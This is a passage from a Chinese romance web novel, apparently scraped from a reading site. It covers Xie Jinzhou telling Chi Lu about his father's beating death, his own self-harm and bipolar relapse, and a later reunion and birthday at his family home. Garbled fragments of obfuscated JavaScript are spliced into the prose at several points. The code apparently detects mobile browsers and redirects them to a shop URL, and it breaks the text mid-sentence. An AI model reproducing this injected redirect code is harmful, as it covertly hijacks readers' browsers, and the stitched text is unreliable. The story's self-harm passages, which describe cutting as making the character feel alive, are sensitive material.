这些细节,谢劲舟没有告诉驰路,但驰路光想想当初谢劲舟被人打断腿,还不好好治疗,就格外心疼他,轻轻抚摸着他的膝盖,充满歉意地说:“舟哥,对不起,都怪我。” “不,你没错,错的是他们。”谢劲舟把手覆在她的手背上。 “你怎么没去报案,他们这是故意伤害。” “我不也伤害过他们吗。” “那能一样吗?”当初是那帮人先调戏她的,谢劲舟才动手的。 “我想,这是因果轮回吧。”谢劲舟苦笑。 “为什么这么想?” “当初我把谢鸿运的腿打断了,”谢劲舟说完又纠正,“严格来说,他的腿受伤有部分原因是因为我,但腿不是我打断的。” “嗯?”驰路不解。 “他的遗物里,有一个记事本,里面写了,腿不是我打断的,而是要债的人打断的。” “这……”驰路从谢劲舟怀里移开,震惊地看他,“为什么人人都以为他的腿是被你打断的,包括你也是这么想的?” “被他骗了。”当谢劲舟看到那本记事本,翻到这页时,他不仅震惊,更为恼火,要是谢鸿运还在的话,他一定当面跟他对峙,为什么要骗他,这一骗就骗了三年。 “他为了让我愧疚,让我一辈子欠他的。”谢劲舟想到这还是气,“他就是个骗子、浑蛋!” 驰路知道谢鸿运浑,但浑成这样配当他的父亲吗! 一个只有十六岁的少年,就要背负“打断父亲腿,要杀了父亲”的罪名,被传到网络上,大肆报道,他遭来同学的排斥、欺凌。 谢鸿运考虑过谢劲舟的感受吗? “你恨他吗?”驰路握住谢劲舟的手。 “恨?”谢劲舟嗤笑一声。 他至今都不太明白,自己对谢鸿运是怎样的感情,恨是恨过,但全是恨,也不对,毕竟他偶尔还是会想起儿时那段一家四口美好的时光,那时,小乔还没出生,谢鸿运还没酗酒,跟林寒梅十分恩爱,而他,是他们和谢奶奶放在手心里的宝贝。只是,不知从什么时候开始,一切都开始脱离最初的轨道,生活走向无数个暗夜。 “说不上恨,也不说不上不恨。”谢劲舟深深叹了口气,“人都没了,恨有什么用。” “如果一定要说恨的话,我恨他活得不够久。” 每个字像落在了不会开花的北极,冰天雪地,天寒地冻,没有一个字可以生花,但每个字,却都结了冰,凝固在灵魂深处。 * 山间吹来一阵阵微风,摇晃着树枝,偶有飞鸟掠过,夕阳落山了,天边的乌云笼了一层又一层。 “后来呢,他怎么就没了?”驰路没有问过其他人,谢鸿运怎么死的,她想从谢劲舟这里知道答案。 谢劲舟艰难启口:“被人活活打死的。” 天地间倏忽安静,静得能听到彼此的呼吸和心跳。 119. 燕尾蝶文身 「玫瑰曾枯萎,鱼儿曾搁浅,你也曾离开。 Z,谢谢你回来。 这六年,你很难捱吧。 往后,我们要不负彼此,看遍人间美景,至死方休。」 ——《小蝴蝶的星光》 驰路感到心似乎停了一秒,她想过谢鸿运有无数种死法,却没想到是这种。 被人活活打死,想想都是种难以言喻的酷刑。 “我下山时,看到他时,他已经没气了,浑身都是血,脸上也都是血,不像他了。”谢劲舟的嗓子发紧,那一幕再次浮现,牵扯住他的心脏,袭来疼意。 六年前,在谢鸿运屡次问他和驰路要钱时,他不是没想过,如果谢鸿运因为欠巨债不还被拉去坐牢,或是有一天醉酒被车撞死,都不是一件坏事。 但当他亲眼看到躺在地上一动不动的谢鸿运时,浑身的血液都凝固了,整个人像毫无感情的木偶,愣在原地。 隔着几步的距离,看着他凄惨地躺在地上。 院墙外都是看热闹的人,议论纷纷,但没有一句话能入他的耳中。 他的世界消了音,唯独夹杂着谢奶奶撕心裂肺的哭声。 天空下起了阵雨,看热闹的人四散离开,谢奶奶赶紧回屋,等她再出来,看到谢劲舟用自己的身体挡在了谢鸿运的身前。 他像一把伞,为谢鸿运挡住了瓢泼而下的大雨。 “那时,你一定很难过吧。”驰路知道,不管谢鸿运做过什么混账事,他毕竟是谢劲舟的父亲。从此,他再也没有爸爸了。 “就那样。”谢劲舟嘴硬,把袭上心头的酸痛压了回去。 “舟哥,你在我面前不用伪装,你可以做最真实的自己。”驰路抱住他的肩膀,像哄孩子一样地轻轻拍着。 “还好,都过去了。” “我听罗哥说了,那时,你大把大把地吃药,他都怕你药剂过量而死。” “死不了。”谢劲舟曾存过想一了百了的念头,但他沉入湖底差点死掉的那次,是驰路告诉他,他还有谢奶奶和小乔,谢鸿运死了,他就是她们最后的支柱,他不能倒下,更不能离开。 “你右脚踝上的文身下面,是那时留下的伤口吧?” 他们每晚亲密时,都只开着床头昏黄的壁灯,她也从来没注意到他的脚踝上的文身,直到今天早上起床,她先醒了,给了他一个早安吻,随后想起床,垂眸间看到他的右脚踝上有一处文身,黑色的,一艘船,船上停了一只侧身飞舞的燕尾蝶。 她抬手轻轻抚摸着那圈文身,下面有凸起的伤口,跟她脚踝上的伤口很像。 谢劲舟没有否定:“我终于知道,你那时的感受了,疼,却痛快,感觉还活着,只要活着,就有了想要继续活下去的念头。” 驰路气道:“谢劲舟,你是不是疯了,什么样的方式不能让你疼,为什么偏偏选这种?” 划下的每一刀有多疼,她比谁都清楚。 能用这样的方式对待自己,才能感觉活着的人,已经到达绝望的谷底。 “没办法,我总不能倒下。” 他总要活下去,不管用什么方式。 “这种方法太危险了!”驰路拔高声音,“万一没能及时止血,万一你死了呢,你有没有想过?” “不会的。”每次他都会在身边准备好治疗用品。 “下次不能这样了,知道吗?”驰路发出的声音有些哽咽。 驰路仿佛看到了那个孤独地在黑暗中伤害自己的谢劲舟,他悲痛、无助,只能用伤害自己的方式对抗绝望。 “嗯,不会了。”谢劲舟望着驰路,她的眼睛闪亮,里面蓄着晶莹的泪水,似乎下一秒就要落下。 他抬手轻轻摸着她的眼睛下方,声音温柔:“阿驰,不准哭,都过去了。” 驰路心疼地抱住他,那种疼痛,只有经历过的人才懂,她经历过,越跟他感同身受,越心疼他。 眼泪止不住地啪嗒落下,她不想让他看到,抬手擦掉。 驰路松开他,脸上已没了眼泪,只是眼睛有点红,看着神色淡然的谢劲舟:“那时,你的躁郁症又复发了吧。” “算是吧。”谢劲舟说,“你知道我怎么熬过来的吗?” 驰路清楚地记得,当时罗子昂跟她说:“他是靠他的蝴蝶撑下来的。” 她故作不知,摇头。 谢劲舟凝视她:“阿驰,我是靠着你才熬过来的。我把你刻在我的身上,提醒我,曾经有一只蝴蝶飞到我这艘船上,虽然短暂,却给了我一辈子都无法忘记的热望,让我知道什么是在意,什么是喜欢,什么是刻骨的爱。” …… 天完全黑了下来,远处亮起了灯火,乌云笼罩过来,驰路感到脸上有什么一滴一滴地落下,难道谢劲舟哭了? 她边擦边问:“舟哥,你哭了?” “没有。”谢劲舟让自己从往事中抽离,仰头,抬手,“下雨了,我们回静心小屋吧。” “嗯。” 两人还没走回静心小屋,雨势越来越大,不得不找了个比较大点的山洞躲起来。 谢劲舟帮驰路擦脸上的雨水,又帮她拍身上的水珠。 虽然水珠被拍掉部分,但两人的身体都被雨水打湿了。 驰路靠在谢劲舟怀里,感慨道:“幸好不是雷阵雨。” “雷阵雨也没事,我陪着你。” 驰路的心间涌起一丝甜,仿佛只要谢劲舟陪在她身边,不管是网络上的风暴,还是现实中的风暴,统统消弭。 听完谢劲舟说的这些,驰路大概能猜出他为什么现在不骑摩托车的原因了。 “因为你没好好治腿,又因为我离开芳町镇,你爸过世,所以,你才在比赛中一次次落败?”驰路说,“落败后,应该不少人嘲笑你吧,你受不了那些眼光,更受不了自己的名次在后,你不得不选择退出,选择逃避,再也不碰摩托,对吗?” 谢劲舟点头,眉头紧紧蹙起。 玩摩托车是他的人生头等爱好,却因为腿受伤了没能及时治疗,第一次比赛时,骑在摩托车上,他那条断了腿的膝盖都是疼的,凭着以往经验,坚持到最后,才没落得倒数第一,但在十个选手中,倒数第三,是他无法忍受的名次。 为了赢得冠军,白天上课,晚上去浩哥的摩托车场地训练,训练的结果,非但没能赢,反而次次垫底,遭来旁人的嘲讽。 他不再是战场夺得军旗的勇士,他输得一败涂地、颜面扫地,右腿也一直疼着。 他知道,他不能再这样下去了,要不然不只是名声全无,他的腿都要废了,他不想落得跟谢鸿运一样的下场,走路只能一颠一颠地走。 从那以后,他再也不碰摩托车了,那些输掉的比赛,成了他的梦魇,满身是血的谢鸿运也成了他的梦魇,他们此起彼伏地进入他的梦里,夜夜折磨他。 他的躁郁症复发了,时而狂躁,时而抑郁,学什么都学不进去,考试又开始垫底。 一切都把他拉回到三年前,不,应该是比三年前更惨的境遇。 在他最难熬的那段时光里,他靠着他的蝴蝶才熬了下去。 灯火林立的人间,没有一盏灯属于他,他穿越一丛丛黑暗,追逐着远方蹁跹的蝴蝶。 他的灵魂破碎不堪,只有她,才能把他的灵魂一片一片地捡起来,告诉他:“舟哥,你不要再这么下去了,你看,就算月亮不会升起,我还会陪着你。” 一个月的时间,他吃大把大把的药,他颓废不已,但熬过来了,走出了那段至暗时刻。为了考上北京的大学,他复读一年,拼命努力,最终得偿所愿。 “舟哥,你能考北京的985大学,我没想到。”驰路靠在他的肩头,“很不容易吧。” “还行。”谢劲舟说得轻巧,但其中的酸苦只有他知道。 对有的人来说,考985学校不算什么,但驰路知道,对谢劲舟而言,比登天还难,他的学业荒废了两年,高三时,成绩已垫底,在她的指导下,虽有提升,但只是比之前强。 以他那时的学习功底、学习状态,要考上985大学,需要付出很多的努力。 那个恣意张扬的少年,看起来什么都不在意,但为了给自己一个好前程,给家人带来希望,他一定熬过无数个夜吧。 她仿佛看到了,在寂静的深夜,他挑灯奋笔疾书;上课时,专注听讲记笔记;刷过的题,比谁都要多…… 他用日复一日的努力,为自己博了个超出预期的成绩。 “舟哥,什么时候去看看腿吧。”驰路说,“我送你的摩托车,不能白送。” “想起来了,我跟浩哥说一声,我们去不了了。”谢劲舟给杜浩发过去一条信息。 “你跟浩哥约了?”驰路只提了一嘴,他便当了真,还去做了。 “我们驰宝说的话,我怎么可能不放在心上!”谢劲舟的语气里满是宠溺,一把将她搂入怀里,俯身吻她的唇。 雨丝斜斜地打在两人身上,谁都没去管,在这一方小小的昏暗的洞穴里,从浅吻到深吻,肆无忌惮地吻着对方,唇舌交缠间,是滚烫爱意。 “驰宝,你越来越会了。”他的舌被她巧妙地缠住,谢劲舟不甘落于人后,探入她的舌下方,摩擦着她的敏/感之处。 驰路的脸被他扣住,如天鹅般纤长的脖颈往后仰着,像在被迫承受着他的进攻。 “舟哥……你的技术……提升了!”驰路的声音断断续续地从喉间溢出,带着些许的微/喘。 彼此的身体里都燃烧起阵阵火焰,灼烧着他们的每根神经末梢。 耳边风声坦荡,他们没有说来日方长,却都站在了十八岁那年的盛夏。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560836|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蝴蝶再次停在这叶舟上,找到了避风港。 她在风雨中,被他拥在怀里,仿若被人疼惜的小孩,小孩又找到家了。 * 霓虹酒吧,舞台上音乐声震耳,舞池上的人随着旋律舞动着身姿,谁都没有注意到外面正在下一场好像永不停歇的雨。 罗子昂过来看“清白”乐队的演出,更准备地说,他是来看他家清清的。 他看到了沈倩倩,她一个人坐在昏暗的角落里,跟吵闹的环境格格不入。 这是罗子昂从未见过的沈倩倩,沈倩倩从来都大大咧咧,笑容满面,她总会“罗哥罗哥”地喊他,声音俏皮又可爱。 但此刻的沈倩倩,愁容满面,可怜得像被人遗弃的小猫崽,独自饮酒,一杯接一杯地喝,完全当水喝。 她这样买醉的小姑娘,最能吸引来酒吧里玩的不良少年。 有两个染着白头发的社会青年朝他走过去,似乎在跟她说着什么,她不耐烦地挥手,看样子是让他们滚,社会青年不识趣,非但不走,还抬手要摸她的脸。 罗子昂看不下去,飞似地跑过去,打掉社会青年的手,目光凌厉地看着这人,发狠地跟他们说“滚”。 他们见罗子昂不是好惹的,也就另寻目标了。 沈倩倩见是罗子昂,抬头笑着喊他:“罗哥,你什么时候来了。正好,陪我喝几杯。” 沈倩倩拿过一旁的空酒杯,给罗子昂倒上。 她拿起手里斟满的酒杯,跟罗子昂碰杯:“干杯!” 罗子昂从她手里夺过酒杯,看到她手上的新手表:“哟,我们家倩倩什么时候买的新手表?” 他想要摸一下,却被沈倩倩一把挡掉手,没让他碰到一点,她抚摸着表盘,脸上终于有了笑容:“罗哥,我才不是你家的,你家的不是清清吗。我啊,是舟哥家的。你看,这是舟哥送我的生日礼物。” “呀!”罗子昂一拍脑门,“想起来了,明天是你的生日了吧。” “是啊。”沈倩倩朝他伸手,“想到给我送什么了吗?” “礼物会有的。”罗子昂早已把沈倩倩当自己的妹妹,每年的礼物都不缺席。 “舟爷都送你礼物了,你怎么看起来还在这儿买醉?” “你早就知道了,对不对?”沈倩倩指着罗子昂。 “我知道什么?”罗子昂纳闷。 “你早知道,舟哥跟驰路在一起了,是不是?” “他们在一起,不是早晚的事吗。”罗子昂知道她为什么要来买醉了,合着是还没恋爱就失恋了,虐心程度快赶上他跟他家清清了,“咳,我以为什么呢,倩倩,哥跟你说,你现在才大三,不要把自己的时间耗在舟爷身上了,他名草有主了。” “你呢,罗哥?”沈倩倩醉眼迷蒙。 “我怎么了?” “你不也跟我一样。”沈倩倩笑着笑着,忽然有眼泪从眼角滚落,声音哽咽,“我们都是傻瓜,全世界最大最大的傻瓜。” 说完,醉倒在桌上,脸上滑落一行泪水。 …… 程佑白先把沈倩倩送回家,再送罗子昂,送完两个人,外面的雨还在下。 时清站在门外给他打伞。 “清清,我来吧。”程佑白从时清手里拿过伞,伞面朝她那边倾斜,自己的肩膀上早已被雨水打湿,两人之间隔着半尺的距离。 明明在同一个屋檐下生活了十七年,有时候却又显得那么疏离。 时清拍了拍他肩头的雨水,把伞柄一挪,朝程佑白那儿挪了点:“哥,你怎么每次都把自己暴露在雨中,你就这么喜欢淋雨?” “清清,罗子昂喜欢了你九年,你要不要好好考虑下?”程佑白把伞又往时清那儿挪了点。 冷风过境,时清拢了拢身上的黑灰色铆钉短袖衬衫,尺寸很大,是程佑白的,衣服上散发出清冽的天竺葵香气。 有些人不喜欢闻这种味道,时清却对此迷恋,像玫瑰跟薄荷结合在一起的香气,散发出的香气淡淡的,宛若湖面飘过的一阵春风,吹过便能留痕。 两人走到了院墙外,时清停了下来,仰头看着程佑白,用好听的中性磁嗓说:“哥,你一直知道我是怎么想的,不是吗?” 程佑白的手臂快要碰到时清的,他看似不着痕迹地挪开,但在时清看来,显得那么刻意。 时清轻笑一声。 程佑白说:“清清,六年过去了,你怎么还执迷不悟?” “哥,你之前不是说要送我永无岛吗?”时清抬眸,声音发涩,“你怎么能食言呢?” 他看着身旁的时清,这个跟他一起的小孩,不知什么时候长大了。 “彼得·潘可以永远长不大,但你需要长大。” 声音落在雨夜里,像狠狠砸在地上的冰块,也狠狠砸在了时清的心上。 120. 照顾生病小蝴蝶 「荒原的玫瑰会盛放,神明的爱会抵达。 我唯一的信徒,你是盛夏蝴蝶,也是我漫长一生的结尾。」 ——《小船靠岸》 淋过一场雨的驰路,第二天醒来时,脑袋昏昏沉沉,感到有人贴着她的额头:“退了点了。” 鼻间全是热气,滚过她的脸颊,一睁眼,是被放大的谢劲舟的脸。 “我是不是感冒了?”驰路一开口,嗓子都是哑的。 “嗯。”谢劲舟额头上还留着她额头上的温度。 “你看起来怎么这么憔悴?”驰路看到了他眼睛下方有一圈重重的黑眼圈。 “有吗?” 昨晚他基本一晚上没睡,屋里没药,他用毛巾沾上凉水,一遍遍地给她降温。 她的脸被烧得通红,给她降完温,她的身体又瑟瑟发抖,像被抛在寒冬里的可怜小猫,他就钻进被子里,将她抱在怀里,给她取暖。 谢劲舟看着她像没有安全感的小猫,往他怀里钻,嘴里还在喃喃低语。 声音很低,他凑近了才听清,她说:“谢劲舟,不要离开我。” 她又做噩梦了吧,在他不在的六年里,她是不是经常这样思念着自己? 谢劲舟将她抱得更紧,恨不得把自己的体温全都给她。 “你不会陪着我,一晚上没睡吧?”驰路见他偏过脸去,把他的脸掰过来。 “你想多了。”谢劲舟矢口否认。 驰路看他这样,心里知道他都为自己做了什么,偏偏想让他说点什么,他倒是嘴硬,连对她好,都不想让她知道。 她拿过手机,一看时间,竟已过十一点,惊得连忙从床上弹起来:“完了,今天还要去剧组。” “你都生病了,去什么剧组。”谢劲舟一把将她按到床头,“我跟顾导请假了。” “你也不去?” “我去了,谁带你下山。” “我又没有缺胳膊断腿的,自己能下山。”驰路作势假装要赶谢劲舟走。 谢劲舟抓住她的手腕,让她的两只手悬在头顶:“行,待会儿自己下山。” 态度强硬得仿佛她的事跟他无关,但打脸现场来得很快,他一路牵着她的手,生怕她会滑倒。 驰路故意放慢脚步,望着谢劲舟的背影,他还跟从前一样,像一座山,挡在她面前。 昨晚刚下过雨,山路很滑,几次她要滑倒,都被他稳稳地抓住。 她说:“舟哥,你就这么担心我?” 谢劲舟扣紧她的手指:“好不容易抓住蝴蝶了,怎么也要一辈子保护好她。” …… 谢劲舟开着那辆破旧的越野车疾驰在山路上,驰路闲来无事,心里惦记着热搜走光事件,拿出手机,想点开微博,又害怕点开。 多数热门事件,热度总会很快降下去,一天、一小时、半小时,甚至几分钟,热搜名次都会有大的变化。 之前她的热搜最多不持续一天,这次也一样吧。 驰路点开微博,并没有如她所料,她还在热搜榜单上,但这次的标题却是【不要惹驰路】。 为什么不要惹她?她可什么都没做,她是那个一夜之间被人喊打的脱衣女郎,为了上位、热度不择手段。 驰路满腹狐疑地点开热搜,第一条微博不再是什么【鸭】【鹅】的娱乐号,而是【木子影视】发的,是一封律师声明,里面将诽谤她的、P她照片的、造黄谣的号一一列举,目测有一百个号以上,排面极其壮观。就驰路隐私被泄露一事,已向警方报案,对诽谤者、造谣者已在取证。 她都不知道,原来有这么多号想蹭这波热度,或许这里面还掺着她对家。 驰路拿着手机,整个身体都僵住,久久未动。 谢劲舟发现了她的异样,侧头问她:“怎么了?” 驰路还没有从这封通知函中回神,她这不是在做梦?木子影视会为她做这事?怎么想都觉得不可思议。 驰路嗤笑,露出难以置信的神情,跟谢劲舟说:“舟哥,你摸摸看,我是不是烧糊涂了?” 一定是烧糊涂了,都出现幻觉了吧。 “你在说什么。”谢劲舟虽这么说,但还是伸手摸了摸她的额头,再摸摸自己的,温度比醒来时还要低点,“又降一点了,发生什么事了吗?” “你敢相信吗,我妈这次竟然帮我去做公关了。”驰路心头思绪万千,说不上高兴,反而在质疑路女士这么做,背后会不会藏着什么计谋,比如先给她一颗糖,再让她去做她不想做的事。 会让她做什么呢? 正在她怀疑之间,手机震动了下,路女士给她发来了一条信息:别谢我,要谢就谢谢劲舟。 谢谢劲舟?他做了什么? …… 驰路没有问谢劲舟是怎么帮她说服路女士帮自己去做公关的,她倒要看看,他要憋到什么时候才说。 结果,一路上,他对自己从中帮忙的事只字未提,反而跟她说:“今天是倩倩的生日,待会儿我们先去镇上给她买蛋糕,你看要不要给她送点什么。” “我?”驰路看出来了沈倩倩喜欢谢劲舟,还把她当情敌,为什么要送她礼物? “你是要当她嫂子的人,总要有点表示。” “……” 不管沈倩倩怎么看她,该有的礼节,驰路还是要去做的。 她跟谢劲舟先去镇上最好的一家蛋糕店,买了双层的草莓蛋糕。 谢劲舟说她浪费,就几个人,买这么大,吃不完,结果,驰路说:“嫂子当然要对妹妹好了,吃不完让她带学校去。” 说到要给沈倩倩买什么礼物,驰路问谢劲舟她喜欢什么,谢劲舟至少说了十个,她就买了十个。 谢劲舟让她别买这么多,太浪费,驰路偏偏不听,看着他手里拎着满满两大袋礼物,笑着说:“嫂子对妹妹当然要大方了,买这点怎么能是浪费,她都用得上。” 谢劲舟无奈地直摇头。 既然她想表现,那就让她表现一回吧。 去栾花巷32号的路上,路过之前的床上用品店、首饰店、台球厅,往事一幕幕在脑中浮现。 床上用品店又开了一家分店,首饰店的门面重新装修了,看上去更加简约大气,台球厅的门面扩出去一间,曾经封闭的墙,有一面露出一整面的玻璃,看到里面打球的少男少女们。 驰路仿佛看到了六年前的自己,穿着校服,扎着马尾辫,还刻意地戴上一副黑框眼镜,趴在台球厅的收银台上写作业,那会儿,她经常看到谢劲舟带着他的一帮小弟来这里玩,她总能感到他的目光好似时不时在看她。 她被人挑衅要比赛时,是他来到她的身旁,把手覆盖在她手背上,教她打哪颗球,是他一次次提醒她,她才赢得比赛,要不然,输的人,要陪赢的人睡一晚。 在狭窄的过道上,他钳制住她的下巴,扳过她的脸,她以为他要做什么越界的举动,结果,他只是帮她擦脸上的巧克粉,她听到了心脏突突加速跳动的声音。 彼时,她是台球厅里的前台小妹,谁看到她漂亮乖巧的模样,都想招惹一番,但自从外界传出,“台球小妹是舟爷的人”后,招惹她的人明显少了很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那是罗子昂,偏爱刺猬头,但不再是初见时爆炸的刺猬头,而是收敛了很多的刺猬头,短短地竖在头上,依然显得很张扬。 她问他是不是钟爱刺猬头,他说:“我们家清清喜欢,我要为她留一辈子的刺猬头。” 六年过去,罗子昂似乎还跟从前一样,活得潇洒、自在,笑时会大声笑,玩时会拼命玩。他比之前更会穿搭了,牛仔裤配花衬衫,脖子上戴一条银色粗项链,彰显几分潮男气质。 听说他家清清要来霓虹酒吧总店演出,马不停蹄地从青宜市赶回来,带上应援物品给她助威,结果喝得烂醉,最后还让他家清清送他回去。 谢劲舟把车开到罗子昂身旁时,停了下来,把一侧的窗户都按下来:“就我跟你嫂子,用不着这么大的欢迎架势吧。” “谁是嫂子?”罗子昂左顾右盼。 谢劲舟给了他脑袋一巴掌:“别装了,怎么不去找你家清清了?” “下午就去!”一提到他家清清,罗子昂的脸上露出少年般才有的羞涩,耳根都微微泛红。 罗子昂在谢劲舟耳边悄声说:“昨晚,倩倩喝醉了,还哭了,你回去好好安慰她啊。” “看到没有,都你嫂子给她买的。”谢劲舟示意他看后座。 罗子昂一探头,吓了一跳:“哦哟,你们这干吗啊,是要把商店搬回来吗?” “都她的生日礼物。”谢劲舟说。 罗子昂趴在车窗旁,笑着看驰路:“嫂子,啥时我过生日,也给我送这么多啊?” “行。”就冲他这声“嫂子”,驰路爽快应下。 “好了,你们走吧,我也要准备准备去见我家清清了。”罗子昂朝他们挥手。 “没想到罗哥还是个痴情种。”驰路从后视镜里瞥了眼罗子昂,感慨道。 谢劲舟接了句:“时清是他的执迷不悟。” 121. 重回栾花巷32号 「Z,今天有件事想跟你讲一讲, 风吹起海浪,栾花要盛放,我又走进有你的盛夏。」 ——《小蝴蝶的星光》 还没到栾花巷32号,驰路便看到一个扎着马尾的女生站在院墙外,她静静地站在阳光下,像沐浴在光里的一棵树。 “前面的是小乔吧。”驰路说。 “嗯。” 谢劲舟停了车,驰路先下来,朝谢林乔挥手打招呼。 小姑娘见了驰路,站在原地没动,眉眼耷拉着,板着脸,一副不悦的神色。 谁惹她不高兴了? “小乔,不认识我了吗?”驰路朝她走去。 驰路在谢劲舟手机里看过长大后谢林乔的照片,但看真人还是不一样,她比六年前高了不少,脸上没了婴儿肥。她长开了,跟谢劲舟有几分相似,但没有谢劲舟那种锐利的锋芒,长相偏温和,细长深邃的眉眼很特别,也很好看。 驰路走到她面前,谢林乔还是没说话,干瞪着她。 驰路猜她生气的缘由:“小乔,是不是怪阿驰姐姐没来找你?” 许久,谢林乔才开口:“为什么没来?” 眼眶泛着红,似要哭了。 “是阿驰姐姐不好,过了这么久,才来找你。”驰路满脸歉意地说,继而把她抱在怀里,她已经长高,到她肩头了,再也不是那个需要她蹲下来跟她说话的小姑娘了。 谢林乔被她的一个拥抱轻易软化,要知道,她等这个拥抱等了六年。 她也抬手,抱住驰路,喊她:“阿驰姐姐。” 谢劲舟看到两人抱在一起的画面,冷峻的脸上露出一抹笑。 “阿驰,你来啦!”有人从院墙里走出来,声音欢快得像一颗颗跳跳糖。 驰路一抬头,看到了谢奶奶,看到的瞬间,脸上的笑容僵住。 谢奶奶什么时候变这么老了?头发几乎都白了,笑起来时,皱纹如同沟壑般盘踞脸上。 她心头忽然一酸,第一次深刻体会到,什么叫“岁月不饶人”。 她松开谢林乔,跑过去抱住谢奶奶:“谢奶奶。” “欸~”谢奶奶拉长声音应,抱了足足几十秒,才松开看她,“让我看看,你跟电视里有什么不一样。哎呀,比电视里还好看,脸怎么这么小,你啊,太瘦了,待会儿多吃点。” “好!”驰路心疼地看着谢奶奶,谢鸿运的离世,给她带来不小的打击吧,那是她唯一的儿子,她是不是在那些日子,整日以泪洗面,是不是一夜白了头? 她没有问出那句“您过得好吗”。 这句话会勾起人的幸福往事,但也最能勾起你无法忘记的事,而她,不愿意让谢奶奶再次回忆痛苦。 就让她活在阳光下,活在这恣意的笑容里。 …… 驰路没想到沈倩倩是个极其勤快的姑娘,这顿丰盛的午餐,有一半以上的菜都是她做的,听谢奶奶说,她这个寿星,一大早就去买菜,还问她驰路喜欢吃什么,特意做了她喜欢吃的清蒸鲈鱼。 吃饭前,谢劲舟拎来了双层蛋糕:“这是你嫂子给你买的。” 沈倩倩的眼睛里闪过一丝黯然,但很快抬头笑着跟驰路说:“谢谢嫂子!” 谢劲舟给沈倩倩戴上生日帽,递给她蜡烛。 沈倩倩插了三根蜡烛。 谢劲舟说:“许愿吧。” 沈倩倩闭上眼睛,以往六年,都许的同一个愿望:希望舟哥喜欢自己。 今年第一次改愿望:希望舟哥跟嫂子长长久久。 等沈倩倩许完愿睁开眼。 她明明笑得那么明媚,驰路却在她的眼里看到了一丝水光。 “生日快乐,倩倩。”驰路说。 “谢谢嫂子。”沈倩倩的心间灌起一阵风,冷冷暖暖交替着。 她的宇宙没有春天了,但好像还有除了春天之外的其他季节。 这是缺席了六年的聚餐,人数一样,但没了谢鸿运,多了沈倩倩。 其实,驰路心底一直有个疑问:沈倩倩是谁,为什么会住在谢劲舟家? 沈倩倩问她“你就不好奇,我跟舟哥的关系?”时,她说“你们是什么关系我不在乎。”那是假的,她怎么可能不在乎。 一个女生,在谢劲舟家里住了整整六年,他为什么会收留沈倩倩?他跟沈倩倩是什么关系? …… 午饭过后,谢奶奶出去摆摊了,听谢奶奶说,她的“好再来”面摊生意不错,六年时间,不只是学生会去光顾,还吸引了周边的人群。 她出摊前跟驰路说:“阿驰啊,小乔都告诉我了,说你跟小谢在一起了。小谢吧,是真的很在意你,你看那小屋里,放着的那辆摩托车,经常擦,不肯落一点灰,也不肯人碰一下,问谁送他的,你知道怎么说吗?” “他说什么?” “他说,是他一辈子忘不了的人送的。” 驰路看到那辆蓝白色的摩托车,跟新的差不多。但仔细看,会发现车身有一块补漆的地方,他曾骑着这辆摩托车,在赛场上驰骋过吧! 驰路走过去,弯腰,抚摸着补漆的地方,不只是补漆,还能感觉到轻微凹进去一块。 车摔倒过吧,他从车上摔下来了吗? “他啊,把这车当个宝贝疙瘩。”谢奶奶说,“就你摸的这地方,唉,当时他参加全国什么决赛,就开着这车去的,去之前还跟我说一定要拿冠军,结果,冠军没拿到,车摔坏了,人也受伤了。其实,冠军不冠军的,没什么所谓,我只希望他啊,可以快乐、幸福。” 是啊,冠军只是一个头衔,他的快乐、幸福,比头衔更重要,不是吗。 谢奶奶拉过驰路的手,语重心长道:“阿驰啊,奶奶没什么大的心愿,就希望你跟小谢好好的。至于能不能走到结婚那一步,要看你俩的造化了。当然了,如果你能做我们谢家的孙媳妇啊,奶奶第一个同意。” “奶奶,你放心,我跟舟哥会好好的。”驰路说,“平时你也不要让自己累着,多注意身体。” “奶奶知道,那我先走了。”谢奶奶走出小屋,骑上她的三轮电动车,“阿驰,你晚上要是能留下来就留下来,在这儿多待会儿。” “好!”驰路把谢奶奶送到院墙外,目送她离开。 * 驰路晚上没有回酒店,而是留在了栾花巷32号,这里的晚上跟六年前不太一样的是,各家各户睡觉的时间要比之前晚了些,到晚上九点多时,驰路站在二楼的栏杆处眺望,还有不少人家的窗户里亮着灯。 栏杆处放着一盒女士烟和打火机,她从烟盒里抖出一支烟,按下打火机,火苗在指间窜动,风一吹,火苗乱窜,她背靠着栏杆,避开风,点燃。 卧室里的窗帘拉开了,窗户也大敞着,驰路看到屋里的摆设跟之前一样,床单、被子,下午谢劲舟都换了,是她六年前买的蓝色刺绣蝴蝶床品,从她的视角看去,床像一汪海洋,而她这只蝴蝶,又可以飞过海洋了。 她今晚就睡在她之前住的这间卧室,自从她离开后,房间物归原主,还是谢劲舟居住。 驰路抽完一支烟,走进卧室,屋里飘荡着阳光味道的清新皂香, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560838|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟六年前一样,是属于谢劲舟特有的气息。 她坐在床上,看着床头摆放着一台小台灯,通体金色,上面是极简风的蝴蝶形状。有些地方已经掉色,金色脱落,露出里面的银色,看起来有岁月的斑驳感。 他怎么会买这样的台灯?跟她卧室里的那台一样。 她记得很少有人知道这事,大概六年前,为了发日常微博,她一时兴起,拍了蝴蝶台灯,但只过了一分钟就删了。 